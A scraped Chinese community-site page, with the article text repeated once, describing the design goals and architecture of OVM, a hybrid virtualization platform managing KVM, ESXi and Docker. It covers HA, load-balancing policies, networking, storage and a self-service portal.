翻译原文连接:http://mp.weixin.qq.com/s?__biz=MzA5OTAyNzQ2OA==&mid=206160672&idx=1&sn=ffe9dc83d0a486e044ff45e025465593&3rd=MzA3MDU4NTYzMw==&scene=6#rd

启动docker错误信息 Error loading docker apparmor profile: exec: "/sbin/apparmor_parser"

大数据/云计算Ansible 回复了问题 • 2 人关注 • 1 个回复 • 3017 次浏览 • 2015-06-17 19:58 • 来自相关话题

OVM混合虚拟化设计目标及设计思路

大数据/云计算maoliang 发表了文章 • 0 个评论 • 1289 次浏览 • 2016-09-29 09:42 • 来自相关话题

1、OVM虚拟化的目标:

OVM是要实现混合虚拟化,做一个大一统的资源管理和交付平台,纵观虚拟化市场,现在当属开源的KVM和Docker最火,我们工作过去有vmware,现在大量使用kvm,未来一定会考虑docker,但现有市场上的产品要么架构太大,开发难度高,易用性不够强,要么就是单纯的虚拟化,类似vmware等。

新形式下,我们需要的产品要同时具备如下目标:

跨平台,支持KVM、Esxi和Docker容器

因为我们单位过去采用虚拟化技术混杂,上面又遗留很多虚拟机,这就要求我们新开发产品能够兼容不同hypervior,同时还能识别并管理原有hypervior上的虚拟机,能够识别并导入原数据库技术并不难,难的是导入后还能纳入新平台管理,这部分我们又研发了自动捕获技术,而不同混合虚拟化管理技术可以摆脱对底层Hypervisor的依赖,专心于资源的统一管理。

单独的用户自助服务门户

过去采用传统虚拟化时,解决了安装部署的麻烦,但资源的申请和扩容、准备资源和切割资源仍然没有变,还是要让我们做,占据了日常运维工作的大部分工作量,每天确实烦人,所以我们想而这部分工作是可以放给相关的部门Leader或者专员,来减少运维的工作量,所以我们希望新设计的OVM允许用户通过一个单独的Web门户来直接访问自己的资源(云主机、云硬盘、网络等),而且对自己的资源进行管理,而不需要知道资源的具体位置,同时用户的所有云主机都建立在高可用环境之上,也不必担心实际物理硬件故障引起服务瘫痪。

Opscode Chef自动化运维集成

实行自助服务后,有一个问题,就是软件不同版本部署不兼容,这就需要设计能够把操作系统、中间件、数据库、web能统一打包部署,减少自助用户哭天喊地甚至骂我们,我们通过对chef的集成,可以一键更新所有的虚拟机,在指定的虚拟机上安装指定的软件。有了chef工具,为虚拟机打补丁、安装软件,只需要几个简单的命令即可搞定。

可持续性

做运维不要故障处理办法是不行,而且还要自动化的,同时我们有vmware和kvm,就需要新平台能在esxi上(不要vcenter,要付钱的)和kvm同时实现ha功能

可运维性
一个平台再强大,技术再厉害,如果不可运维,那结果可想而知。因此我们希望OVM可以给用户带来一个稳定、可控、安全的生产环境

弹性伸缩
自助服务部门拿到资源后,通过对各项目资源的限额,以及对各虚拟机和容器性能指标的实时监控,可以实现弹性的资源伸缩,达到合理分配利用资源。

资源池化
将数据中心的计算、存储、网络资源全部池化,然后通过OVM虚拟化平台统一对外提供IaaS服务。

2、OVM设计思路

OVM架构选型一

我们觉得架构就是一个产品的灵魂所在,决定着产品日后的发展。

我们团队在产品选型初期,分别调研了目前比较热门的openstack,以及前几年的明星产品convirt、ovirt,这几个产品可谓是典型的代表。

Openstack偏重于公有云,架构设计的很不错,其分布式、插件式的模块化架构,可以有效避免单点故障的发生,从发布之初便备受推崇,但是其存在的问题也同样令人头疼目前使用Openstack的大多是一些有实力的IDC、大型的互联网公司在用。而对于一般的企业来说,没有强大的开发和维护团队,并不敢大规模的采用openstack,初期使用一段时间后我们放弃了OS。

而前几年的convirt,在当时也掀起了一股使用热潮,其简单化的使用体验,足以满足小企业的虚拟化需求,但是他的问题是架构采用了集中式的架构,而且对于上了规模之后,也会带来性能方面的瓶颈,除非是把数据库等一些组件松藕合,解决起来也比较麻烦,所以到了后期也是不温不火,官方也停止了社区的更新和维护。

OVM架构选型二

      通过对以上产品的优劣势分析,我们决定采用用分布式、松耦合的模块化插件架构,分布式使其可以规避单点故障,达到业务持续高可用,松耦合的模块化特点让产品在后期的扩展性方面不受任何限制,使其向下可以兼容数据中心所有硬件(通过OVM标准的Rest API接口),向上可以实现插件式的我们即将需要的工作流引擎、计费引擎、报表引擎、桌面云引擎和自动化运维引擎。

而目前阶段我们则专心于实现虚拟化的全部功能,发掘内部对虚拟化的需求,打造一款真正简单、易用、稳定、可运维的一款虚拟化管理软件,并预留向上、向下的接口留作后期发展。(架构图大家可以查看刚才上面发的图片)

虚拟化技术选择

    Docker当下很火,其轻量级、灵活、高密度部署是优点,但是大规模使用还未成熟。许多场景还是需要依赖传统的虚拟化技术。所以我们选择传统虚拟化技术KVM+Docker,确保线上业务稳定性、连续性的同时,开发、测试环境又可以利用到Docker的轻量级、高密度和灵活。

     另外很多用户的生产环境存在不止一种虚拟化技术,例如KVM+Esxi组合、KVM+XenServer组合、KVM+Hyper-V组合,而目前的虚拟化管理平台,大多都是只支持一种Hypervisor的管理,用户想要维护不同的虚拟化技术的虚拟机,就要反复的在不同环境之间切换。

    基于此考虑,我和团队内部和外部一些同行选择兼容(兼容KVM、Esxi,Docker),并自主打造新一代虚拟化管理平台——混合虚拟化。

网络  

 网络方面,我们对所有Hypervisor的虚拟机使用统一的网络管理(包括Docker容器),这样做的一个好处就是可以减少运维工作量,降低网络复杂性。初期我们只实现2层的虚拟网络管理,为虚拟机和容器提供Vlan隔离、DHCP分配网络,当然也可以手工为虚拟机挑选一个网络,这个可以满足一般的虚拟化需求,后期我们会在此基础上增加虚拟网络防火墙、负载均衡。

存储

存储上面我们采用本地存储+NFS两种方式,对于一般中小企业来说,不希望购买高昂的商业存储,直接使用本地存储虚拟机的性能是最好的,而且我们也提供了存储快照、存储热迁移、虚拟机的无共享热迁移来提升业务安全。此外NFS作为辅助,可以为一些高风险业务提供HA。后期存储方面我们会考虑集成Ceph和GlusterFS存储来提升存储管理。

镜像中心

顾名思义,镜像中心就是用来存放镜像的。传统虚拟化我们使用NFS来作为镜像中心,所有宿主机共享一个镜像中心,这样可以更方便的来统一管理镜像,而针对Docker容器则保留了使用Docker自己的私有仓库,但是我们在WEB UI的镜像中心增加了从Docker私有仓库下载模板这么一个功能,实现了在同一个镜像中心的管理,后期我们会着重打造传统虚拟化镜像与Docker镜像的相互转换,实现两者内容的统一。

HA

OVM 主机HA依然坚持全兼容策略,支持对可管理的所有Hypervisor的HA。

在启用HA的资源池,当检测到一个Hypervisor故障,创建和运行在该Hypervisor共享存储上的虚拟机将在相同资源池下的另外一个主机上重启。

具体工作流程为:

第一次检测到故障会将该故障主机标记;

第二次检测依然故障将启动迁移任务;

迁移任务启动后将在该故障主机所在的资源池寻找合适的主机;

确定合适主机后,会将故障主机上所有的虚拟机自动迁移到合适的主机上面并重新启动;

 

VM分配策略

负载均衡

PERFORMANCE(性能): 这条策略分配虚拟机到不同的主机上。它挑选一组中可用资源最多的主机来部署虚拟机。如果有多个主机都有相同的资源可用,它使用一个循环算法,每个虚拟机分配到一个不同的主机上。

PROGRESSIVE(逐行扫描): 这条策略意味着,所有虚拟机将被分配在同一个主机上,直到它的资源被用尽。此项策略将一个主机资源使用完,然后再切换到另一个主机。

负载均衡级别

所有资源池: 如果选定此选项,则负载均衡级别策略将适用于所选定数据中心的所有资源池中的主机。

所有主机: 该策略将适用于所选数据中心单个资源池的所有主机。

特定主机: 该策略仅适用于所选的特定主机。

 

VM设计一

VM是整个虚拟化平台的核心,我们开发了一个单独的模块来负责虚拟机的相关操作。其采用异步通信和独立的并行操作,提升了虚拟机性能、稳定性和扩展性。

可扩展性:独立、并发

可追溯性:错误信息和log、监控控制台、性能

非阻塞操作:稳定性、改进重新配置、改进回滚、标准、统一的hypervisor通信、自动化测试

 

VM设计二

我们设计基于vApp来部署虚拟机,一个vApp可包含N个虚拟机:

N 个虚拟机配置

N个开机请求

我们希望并行运行N个配置(要求资源允许),并在配置后每个虚拟机请求一个开机。这些操作都是并发和独立的。

 

平台设计

OVM产品目前由三大组件、七大模块组成。其中三大组件分别为OVM UI、OVM API和OVM数据中心组件。

OVM UI提供WEB自服务界面,OVM API负责UI和数据中心组件之间的交互,OVM数据中心组件分别提供不同的功能。七大模块分别负责不同的功能实现,和三大组件之间分别交互。

VDC资源限额

管理员可以为每个VDC设置资源限额,防止资源的过度浪费。

账户管理

OVM提供存储SDK、备份SDK,以及虚拟防火墙SDK,轻松与第三方实现集成

获得帮助

下载请访问OVM社区官网:51ovm.com

使用过程中遇到什么问题及获得下载密码,加入OVM社区qq官方交流群:22265939

“ 实践是检验真理唯一标准“,OVM社区视您为社区的发展动力,此刻,诚邀您参与我们的调查,共同做出一款真正解决问题、放心的产品,一起推动国内虚拟化的进步和发展。

填写调查问卷!只需1分钟喔!
https://www.wenjuan.com/s/iiEVZv 查看全部
1、OVM虚拟化的目标:

OVM是要实现混合虚拟化,做一个大一统的资源管理和交付平台,纵观虚拟化市场,现在当属开源的KVM和Docker最火,我们工作过去有vmware,现在大量使用kvm,未来一定会考虑docker,但现有市场上的产品要么架构太大,开发难度高,易用性不够强,要么就是单纯的虚拟化,类似vmware等。

新形式下,我们需要的产品要同时具备如下目标:

跨平台,支持KVM、Esxi和Docker容器

因为我们单位过去采用虚拟化技术混杂,上面又遗留很多虚拟机,这就要求我们新开发产品能够兼容不同hypervior,同时还能识别并管理原有hypervior上的虚拟机,能够识别并导入原数据库技术并不难,难的是导入后还能纳入新平台管理,这部分我们又研发了自动捕获技术,而不同混合虚拟化管理技术可以摆脱对底层Hypervisor的依赖,专心于资源的统一管理。

单独的用户自助服务门户

过去采用传统虚拟化时,解决了安装部署的麻烦,但资源的申请和扩容、准备资源和切割资源仍然没有变,还是要让我们做,占据了日常运维工作的大部分工作量,每天确实烦人,所以我们想而这部分工作是可以放给相关的部门Leader或者专员,来减少运维的工作量,所以我们希望新设计的OVM允许用户通过一个单独的Web门户来直接访问自己的资源(云主机、云硬盘、网络等),而且对自己的资源进行管理,而不需要知道资源的具体位置,同时用户的所有云主机都建立在高可用环境之上,也不必担心实际物理硬件故障引起服务瘫痪。

Opscode Chef自动化运维集成

实行自助服务后,有一个问题,就是软件不同版本部署不兼容,这就需要设计能够把操作系统、中间件、数据库、web能统一打包部署,减少自助用户哭天喊地甚至骂我们,我们通过对chef的集成,可以一键更新所有的虚拟机,在指定的虚拟机上安装指定的软件。有了chef工具,为虚拟机打补丁、安装软件,只需要几个简单的命令即可搞定。

可持续性

做运维不要故障处理办法是不行,而且还要自动化的,同时我们有vmware和kvm,就需要新平台能在esxi上(不要vcenter,要付钱的)和kvm同时实现ha功能

可运维性
一个平台再强大,技术再厉害,如果不可运维,那结果可想而知。因此我们希望OVM可以给用户带来一个稳定、可控、安全的生产环境

弹性伸缩
自助服务部门拿到资源后,通过对各项目资源的限额,以及对各虚拟机和容器性能指标的实时监控,可以实现弹性的资源伸缩,达到合理分配利用资源。

资源池化
将数据中心的计算、存储、网络资源全部池化,然后通过OVM虚拟化平台统一对外提供IaaS服务。

2、OVM设计思路

OVM架构选型一

我们觉得架构就是一个产品的灵魂所在,决定着产品日后的发展。

我们团队在产品选型初期,分别调研了目前比较热门的openstack,以及前几年的明星产品convirt、ovirt,这几个产品可谓是典型的代表。

Openstack偏重于公有云,架构设计的很不错,其分布式、插件式的模块化架构,可以有效避免单点故障的发生,从发布之初便备受推崇,但是其存在的问题也同样令人头疼目前使用Openstack的大多是一些有实力的IDC、大型的互联网公司在用。而对于一般的企业来说,没有强大的开发和维护团队,并不敢大规模的采用openstack,初期使用一段时间后我们放弃了OS。

而前几年的convirt,在当时也掀起了一股使用热潮,其简单化的使用体验,足以满足小企业的虚拟化需求,但是他的问题是架构采用了集中式的架构,而且对于上了规模之后,也会带来性能方面的瓶颈,除非是把数据库等一些组件松藕合,解决起来也比较麻烦,所以到了后期也是不温不火,官方也停止了社区的更新和维护。

OVM架构选型二

      通过对以上产品的优劣势分析,我们决定采用用分布式、松耦合的模块化插件架构,分布式使其可以规避单点故障,达到业务持续高可用,松耦合的模块化特点让产品在后期的扩展性方面不受任何限制,使其向下可以兼容数据中心所有硬件(通过OVM标准的Rest API接口),向上可以实现插件式的我们即将需要的工作流引擎、计费引擎、报表引擎、桌面云引擎和自动化运维引擎。

而目前阶段我们则专心于实现虚拟化的全部功能,发掘内部对虚拟化的需求,打造一款真正简单、易用、稳定、可运维的一款虚拟化管理软件,并预留向上、向下的接口留作后期发展。(架构图大家可以查看刚才上面发的图片)

虚拟化技术选择

    Docker当下很火,其轻量级、灵活、高密度部署是优点,但是大规模使用还未成熟。许多场景还是需要依赖传统的虚拟化技术。所以我们选择传统虚拟化技术KVM+Docker,确保线上业务稳定性、连续性的同时,开发、测试环境又可以利用到Docker的轻量级、高密度和灵活。

     另外很多用户的生产环境存在不止一种虚拟化技术,例如KVM+Esxi组合、KVM+XenServer组合、KVM+Hyper-V组合,而目前的虚拟化管理平台,大多都是只支持一种Hypervisor的管理,用户想要维护不同的虚拟化技术的虚拟机,就要反复的在不同环境之间切换。

    基于此考虑,我和团队内部和外部一些同行选择兼容(兼容KVM、Esxi,Docker),并自主打造新一代虚拟化管理平台——混合虚拟化。

网络  

 网络方面,我们对所有Hypervisor的虚拟机使用统一的网络管理(包括Docker容器),这样做的一个好处就是可以减少运维工作量,降低网络复杂性。初期我们只实现2层的虚拟网络管理,为虚拟机和容器提供Vlan隔离、DHCP分配网络,当然也可以手工为虚拟机挑选一个网络,这个可以满足一般的虚拟化需求,后期我们会在此基础上增加虚拟网络防火墙、负载均衡。

存储

存储上面我们采用本地存储+NFS两种方式,对于一般中小企业来说,不希望购买高昂的商业存储,直接使用本地存储虚拟机的性能是最好的,而且我们也提供了存储快照、存储热迁移、虚拟机的无共享热迁移来提升业务安全。此外NFS作为辅助,可以为一些高风险业务提供HA。后期存储方面我们会考虑集成Ceph和GlusterFS存储来提升存储管理。

镜像中心

顾名思义,镜像中心就是用来存放镜像的。传统虚拟化我们使用NFS来作为镜像中心,所有宿主机共享一个镜像中心,这样可以更方便的来统一管理镜像,而针对Docker容器则保留了使用Docker自己的私有仓库,但是我们在WEB UI的镜像中心增加了从Docker私有仓库下载模板这么一个功能,实现了在同一个镜像中心的管理,后期我们会着重打造传统虚拟化镜像与Docker镜像的相互转换,实现两者内容的统一。

HA

OVM 主机HA依然坚持全兼容策略,支持对可管理的所有Hypervisor的HA。

在启用HA的资源池,当检测到一个Hypervisor故障,创建和运行在该Hypervisor共享存储上的虚拟机将在相同资源池下的另外一个主机上重启。

具体工作流程为:

第一次检测到故障会将该故障主机标记;

第二次检测依然故障将启动迁移任务;

迁移任务启动后将在该故障主机所在的资源池寻找合适的主机;

确定合适主机后,会将故障主机上所有的虚拟机自动迁移到合适的主机上面并重新启动;

 

VM分配策略

负载均衡

PERFORMANCE(性能): 这条策略分配虚拟机到不同的主机上。它挑选一组中可用资源最多的主机来部署虚拟机。如果有多个主机都有相同的资源可用,它使用一个循环算法,每个虚拟机分配到一个不同的主机上。

PROGRESSIVE(逐行扫描): 这条策略意味着,所有虚拟机将被分配在同一个主机上,直到它的资源被用尽。此项策略将一个主机资源使用完,然后再切换到另一个主机。

负载均衡级别

所有资源池: 如果选定此选项,则负载均衡级别策略将适用于所选定数据中心的所有资源池中的主机。

所有主机: 该策略将适用于所选数据中心单个资源池的所有主机。

特定主机: 该策略仅适用于所选的特定主机。

 

VM设计一

VM是整个虚拟化平台的核心,我们开发了一个单独的模块来负责虚拟机的相关操作。其采用异步通信和独立的并行操作,提升了虚拟机性能、稳定性和扩展性。

可扩展性:独立、并发

可追溯性:错误信息和log、监控控制台、性能

非阻塞操作:稳定性、改进重新配置、改进回滚、标准、统一的hypervisor通信、自动化测试

 

VM设计二

我们设计基于vApp来部署虚拟机,一个vApp可包含N个虚拟机:

N 个虚拟机配置

N个开机请求

我们希望并行运行N个配置(要求资源允许),并在配置后每个虚拟机请求一个开机。这些操作都是并发和独立的。

 

平台设计

OVM产品目前由三大组件、七大模块组成。其中三大组件分别为OVM UI、OVM API和OVM数据中心组件。

OVM UI提供WEB自服务界面,OVM API负责UI和数据中心组件之间的交互,OVM数据中心组件分别提供不同的功能。七大模块分别负责不同的功能实现,和三大组件之间分别交互。

VDC资源限额

管理员可以为每个VDC设置资源限额,防止资源的过度浪费。

账户管理

OVM提供存储SDK、备份SDK,以及虚拟防火墙SDK,轻松与第三方实现集成

获得帮助

下载请访问OVM社区官网:51ovm.com

使用过程中遇到什么问题及获得下载密码,加入OVM社区qq官方交流群:22265939

“ 实践是检验真理唯一标准“,OVM社区视您为社区的发展动力,此刻,诚邀您参与我们的调查,共同做出一款真正解决问题、放心的产品,一起推动国内虚拟化的进步和发展。

填写调查问卷!只需1分钟喔!
https://www.wenjuan.com/s/iiEVZv
容器技术已经引起了业内的广泛关注,有充分的证据表明,容器技术能够大大提升工作效率。Docker在国内火热程度可知!